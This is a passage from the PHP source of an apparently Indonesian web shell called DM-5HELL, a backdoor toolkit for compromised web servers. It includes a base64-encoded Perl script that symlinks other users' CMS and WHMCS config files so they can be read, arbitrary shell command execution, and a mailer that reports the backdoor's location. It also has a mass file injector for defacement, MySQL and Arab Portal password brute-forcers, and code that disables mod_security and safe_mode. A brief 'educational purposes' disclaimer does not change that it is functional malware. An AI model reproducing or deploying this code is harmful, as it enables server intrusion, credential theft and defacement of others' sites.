VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidqb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQoNCn0NCg0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8aDE+PGk+PHU+LS09W1sgRE0gVEU0TSBdXT0tLTwvdT48L2k+PC9oMT4NCjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBIQUpBUiBDT1kgIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojRkZGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT48YnIgLz48YnIgLz4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5TRUxFU0FJIEJPUyB8fCBDRUsgRk9MREVSIElNQUdFUzwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Eb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7";
1804$write = fwrite($f2 ,base64_decode($sml_perl));
1805if($write)
1806{@chmod('image/anu.pl',0755);}
1807echo "<center><iframe src=image/anu.pl width=96% height=126% frameborder=0></iframe></div>";
1808}
1809}
1810
1811## ***** x=dmwp ***** ##
1812elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwp')) {
1813// wordpress bruteforce
1814// wordpress index changer
1815// wordpress password changer
1816
1817echo '<center><br/><br/><img src="http://s.wordpress.org/about/images/logos/wordpress-logo-hoz-rgb.png"><br/><br/> <nobr><b><span class="b7">O=:[ WORDPRESS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1818<div id="menu" align="center"><table><tr>
1819<td align=center><b><a href="?dm='.$pwd.'&x=wp1">WP BRUTEFORCE</a></b></td>
1820<td align=center><b><a href="?dm='.$pwd.'&x=wp2">WP AUTO DEFACE</a></b></td>
1821<td align=center><b><a href="?dm='.$pwd.'&x=wp3">WP PASSWORD CHANGER</a></b></td>
1822</tr></table></div><br/>';
1823}
1824
1825## ***** x=dmvb ***** ##
1826elseif(isset($_GET['x']) && ($_GET['x'] == 'dmvb')) {
1827// vbullettin index changer
1828// vbulletin password changer
1829
1830echo '<center><br/><br/>
1831<img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><nobr><b><span class="b7">O=:[ VBULLETIN</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1832<div id="menu" align="center"><table><tr>
1833<td align=center><b><a href="?dm='.$pwd.'&x=vb1">VB INDEX CHANGER</a></b></td>
1834<td align=center><b><a href="?dm='.$pwd.'&x=vb2">VB PASSWORD CHANGER</a></b></td>
1835</tr></table></div><br/>';
1836}
1837
1838## ***** x=dmjm ***** ##
1839elseif(isset($_GET['x']) && ($_GET['x'] == 'dmjm')) {
1840// joomla bruteforce
1841// exploit joomla jce uploader
1842// joomla password changer
1843
1844echo '<center><br/><br/><img src="http://www.payingdialer.com/images/joomla-logo.png"><br/><br/> <nobr><b><span class="b7">O=:[ JOOMLA</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1845<div id="menu" align="center"><table><tr>
1846<td align=center><b><a href="?dm='.$pwd.'&x=jm1">BRUTEFORCE LOGIN</a></b></td>
1847<td align=center><b><a href="?dm='.$pwd.'&x=jm2">INDEX DEFACE</a></b></td>
1848<td align=center><b><a href="?dm='.$pwd.'&x=jm3">JCE UPLOADER</a>
1849</b></td>
1850<td align=center><b><a href="?dm='.$pwd.'&x=jm4">PASSWORD CHANGER</a></b></td>
1851</tr></table></div><br/>';
1852}
1853
1854## ***** x=whmcs2 ***** ##
1855elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs2')) {
1856// whmcs inject shell
1857// whmcs bypass security token
1858// whmcs password changer
1859// whmcs auto exploiter
1860
1861echo '<center><br/><br/><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1862<div id="menu" align="center"><table><tr>
1863<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td>
1864<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs2">INJECT SHELL</a></b></td>
1865<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
1866<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
1867</tr></table></div><br/>
1868<div id="menu" align="center"><table><tr>
1869<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td>
1870<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
1871<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs7">WHMCS 5.28 [php]</a></b></td>
1872<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
1873</tr></table></div><br/>
1874
1875<div id="menu" align="center"><table><tr>
1876<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td>
1877<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td>
1878<td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs11">SCAN CMS WHMCS</a></b></td>
1879</table></div><br/><br/> ';
1880}
1881
1882## ***** x=cpanel ***** ##
1883elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
1884// cpanel bruteforce
1885// cpanel mass deface
1886// cpanel bruteforce using config
1887
1888echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1889<div id="menu" align="center"><table><tr>
1890<td align=center><b><a href="?dm='.$pwd.'&x=cp1">BRUTEFORCE CP LOGIN</a></b></td>
1891<td align=center><b><a href="?dm='.$pwd.'&x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
1892<td align=center><b><a href="?dm='.$pwd.'&x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
1893
1894</tr></table></div><br/>';
1895}
1896
1897## ***** x=iis7 ***** ##
1898elseif(isset($_GET['x']) && ($_GET['x'] == 'iis7')) {
1899
1900echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <nobr><b><span class="b7">O=:[ WINDOWS IIS7</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1901<div id="menu" align="center"><table><tr>
1902
1903<td align=center><b><a href="?dm='.$pwd.'&x=iis7httpd">HTTPD EXPLOIT</a></b></td>
1904<td align=center><b><a href="?dm='.$pwd.'&x=iis7port">PORT EXPLOIT</a></b></td>
1905</tr></table></div><br/>';
1906}
1907
1908
1909# x=posisi
1910elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi')) {
1911
1912function curPageURL() {
1913$pageURLe = 'http';
1914if($_SERVER["HTTPS"] == "on"){
1915$pageURL .= "s";
1916}
1917$pageURLe .= "://";
1918if ($_SERVER["SERVER_PORT"] != "80") {
1919$pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
1920} else {
1921$pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
1922}
1923return $pageURLe;
1924}
1925$votremail=$_SERVER['SERVER_ADMIN'];
1926$objet='BACKDOOR SHELL';
1927$message=curPageURL();
1928$headers='From:'.$votremail."\r\n".'To:'.$destinataire."\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
1929if(mail($destination,$objet,$message,$headers))
1930{
1931echo "<br><center><b></b><br/><p><b>[+] $destination [+]</b><center>";}
1932else
1933{
1934echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
1935}
1936}
1937else if(isset($_POST['executecmd']))
1938{
1939$check = shell_exec($_POST['mycmd']);
1940echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
1941}
1942
1943
1944elseif(isset($_GET['x']) && ($_GET['x'] == 'inject')){
1945?>
1946<center><table id="margins" >
1947<tr>
1948<form method='POST'><input type="hidden" name="injector"/>
1949<tr><td width="30" class="title">
1950DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
1951<tr><td class="title">
1952Mode : <select class="inputz" name="mode" style="width:130px;">
1953<option value="Apender">SEMI INJECT</option>
1954<option value="Overwriter">FULL Inject</option>
1955</select></td></tr>
1956<tr><td class="title">
1957File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
1958<tr><td colspan="2">
1959<textarea name="injectthis" cols="110" rows="10" class="inputz">
1960<?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
1961</textarea></td></tr>
1962<tr><td rowspan="2">
1963<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
1964</form></table></center>
1965
1966
1967
1968<?php
1969}
1970# x=bforce1
1971elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
1972{
1973
1974$f =@fopen ('users.txt','w');
1975if(!$users=get_users()) {
1976echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>";
1977}
1978else {
1979foreach($users as $user) {
1980@fwrite($f , $user);
1981@fwrite($f , "\n");
1982}
1983}
1984echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
1985 ?>
1986
1987<form method="POST" target="_self">
1988
1989<input name="page" type="hidden" value="find">
1990<table width="33%" cellpadding="3" cellspacing="1" align="center">
1991<tr>
1992<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1993<strong>User :</strong></td>
1994<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
1995</tr>
1996<tr>
1997<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1998<strong>Pass :</strong></td>
1999<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
2000</tr>
2001<tr>
2002<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2003<strong>Type :</strong></td>
2004<td valign="top" bgcolor="#151515" colspan="5">
2005<span class="style2"><strong>Simple : </strong> </span>
2006<strong>
2007<input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
2008<font class="style2"><strong>/etc/passwd : </strong> </font>
2009<strong>
2010<input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
2011</strong>
2012</span>
2013</td></tr>
2014<tr>
2015<td valign="top" bgcolor="#151515" style="width: 139px"></td>
2016<td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
2017</td><tr></form>
2018
2019
2020<?php
2021if(isset($_POST['usernames']) && isset($_POST['passwords']))
2022{
2023if($_POST['type'] == 'passwd'){
2024
2025$e = explode("\n",$_POST['usernames']);
2026foreach($e as $value){
2027$k = explode(":",$value);
2028$username .= $k['0']." ";
2029}
2030}
2031elseif($_POST['type'] == 'simple'){
2032$username = str_replace("\n",' ',$_POST['usernames']);
2033}
2034$a1 = explode(" ",$username);
2035$a2 = explode("\n",$_POST['passwords']);
2036$id2 = count($a2);
2037$ok = 0;
2038foreach($a1 as $user )
2039{
2040if($user !== '')
2041{
2042$user=trim($user);
2043for($i=0;$i<=$id2;$i++)
2044{
2045$pass = trim($a2[$i]);
2046if(@mysql_connect('localhost',$user,$pass))
2047{
2048echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
2049$ok++;
2050}
2051}
2052}
2053}
2054echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
2055echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
2056exit;
2057}
2058}
2059
2060# x=safemodeoff
2061elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff')) {
2062$file_pointer = fopen(".htaccess", "w+");
2063fwrite($file_pointer, "<IfModule mod_security.c>
2064SecFilterEngine Off
2065SecFilterScanPOST Off
2066</IfModule>");
2067
2068$file_pointer = fopen("ini.php", "w+");
2069fwrite($file_pointer, "<?
2070echo ini_get(\"safe_mode\");
2071echo ini_get(\"open_basedir\");
2072include(\$_GET[\"file\"]);
2073ini_restore(\"safe_mode\");
2074ini_restore(\"open_basedir\");
2075echo ini_get(\"safe_mode\");
2076echo ini_get(\"open_basedir\");
2077include(\$_GET[\"ss\"]);
2078?>");
2079
2080$file_pointer = fopen("php.ini", "w+");
2081fwrite($file_pointer, "safe_mode = Off");
2082fwrite($file_pointer, "\n disable_functions = NONE");
2083fclose($file_pointer);
2084echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
2085?>
2086
2087<?php }
2088// x=arabportal
2089elseif(isset($_GET['x']) && ($_GET['x'] == 'arabportal')){
2090
2091?>
2092<form action="?dm=<?php echo $pwd; ?>&x=arabportal" method="post">
2093
2094 <?php
2095echo "<br/><br/><nobr><b><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>ARAB PORTAL ]:=O</span></b></nobr><br/><br/> <form method='POST'>
2096<p align='center' dir='ltr'> <input type='text' value='http://target.com/arabportal/' name='target' size='45'>
2097<input type='text' value='admin' name='username'>
2098<br><input type='submit' value='Start Brute'>
2099</p>";
2100$site = $_POST['target']."/admin/";
2101$username = $_POST['username'];
2102# Passwords
2103$passwords = array('123456','123654','123123','112233','123321','102030','123451','123456789','654321','654123','123qwe','qwerty','azerty','123450','123412','121314','132132','132123','123132','123012');
2104
2105function brute($site,$username,$password)
2106{
2107$curl = curl_init();
2108curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
2109curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
2110curl_setopt($curl,CURLOPT_URL, $site);
2111curl_setopt($curl,CURLOPT_POSTFIELDS,"user_name={$username}&user_pass={$password}");
2112@curl_setopt($curl,CURLOPT_COOKIEJAR,"cookie.txt");
2113@curl_setopt($curl,CURLOPT_COOKIEFILE,"cookie.txt");
2114$brute = curl_exec($curl);
2115if(eregi('<p align="center"><b><font size="4" color="#FFFFFF">', $brute))
2116{
2117echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username
2118: <font color='#FF0000'>{$username}</font> & Password : <font color='#FF0000'>{$password}</font></font></b>";
2119}
2120return $brute;
2121}
2122foreach($passwords as $password)
2123{
2124brute($site,$username,$password);
2125}
2126echo "</form>";
2127?>
2128
2129 <?php }
2130// x=about
2131elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){
2132?>
2133<form action="?dm=<?php echo $pwd; ?>&x=about" method="post">
2134
2135<?php
2136echo "<div align='center'><br><br>
2137<table class='tabnet' style='padding:0 1px;'>
2138<tr><th align='center'><b>DISCLAIMER</b></th></tr>
2139<tr><td align='left'><nobr>
2140<span class='b12'>THIS TOOL WAS WRITTEN FOR
2141EDUCATIONAL PURPOSES.</span></nobr></td></tr>
2142<tr><td align='left'><nobr>
2143<span class='b12'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</span></nobr></td></tr>
2144<tr><td align='left'><nobr>
2145<span class='b12'> IF YOU DON'T AGREE WITH WHAT I
2146SAID, PLEASE DON'T USE THIS TOOL.</span></td></tr>
2147<tr><td align='left'><nobr>
2148<span class='b12'> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR
2149 DAMAGE ARISING WITH THE USE OF THIS TOOL. </span></nobr></td></tr>
2150<tr><td align='left'><nobr>
2151<span class='b12'>USE IT UNDER YOUR OWN RISK !!!!!!</span>
2152</nobr></td></tr>
2153<tr><td align='left'><nobr>
2154<span class='b12'>THANKS...</span>
2155</nobr></td></tr>
2156</table><br><br>
2157</html>";
2158echo "<div align='center'><br><br>
2159<table class='tabnet' style='padding:0 1px;'>
2160<tr><th align='center'><b>ABOUT DM-5HELL</b></th></tr>
2161<tr>
2162<td>
2163<table border=1>
2164<tr>
2165<td>Author</td>
2166<td>Andripzf</td>
2167</tr>
2168<tr>
2169<td>Design</td>
2170<td>Andripzf</td>
2171</tr>
2172<tr>
2173<td>Adding Exploit</td>
2174<td>Andripzf</td>
2175</tr>
2176<tr>
2177<td>Basic Shell</td>
2178<td>b374k m1n1 PHP Shell</td>
2179</tr>
2180<tr>
2181<td>Bypass Symlink</td>
2182<td><nobr>Thanks to Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</nobr></td>
2183</tr>
2184<tr>
2185<td>Whmcs Exploit</td>
2186<td><nobr>Thanks to Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</nobr></td>
2187</tr>
2188<tr>
2189<td>WP Exploit</td>
2190<td>Thanks to XTTG, Lagripe-Dz</td>
2191</tr>
2192<tr>
2193<td>Joomla Exploit</td>
2194<td>Thanks to XTTG, Lagripe-Dz</td>
2195</tr>
2196<tr>
2197<td>VB Exploit</td>
2198<td>Thanks to Tryag</td>
2199</tr>
2200<tr>
2201<td>Config Killer Exploit</td>
2202<td><nobr>Thanks to Indishell, Anonghost, Lagripe-Dz, Indrajith</nobr></td>
2203</tr>
2204<tr>
2205<td>Security Bypass Exploit</td>
2206<td>Thanks to Mauritania, Lagripe-Dz </td>
2207</tr>
2208<tr>
2209<td>Greetz To</td>
2210<td><nobr>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</nobr></td>
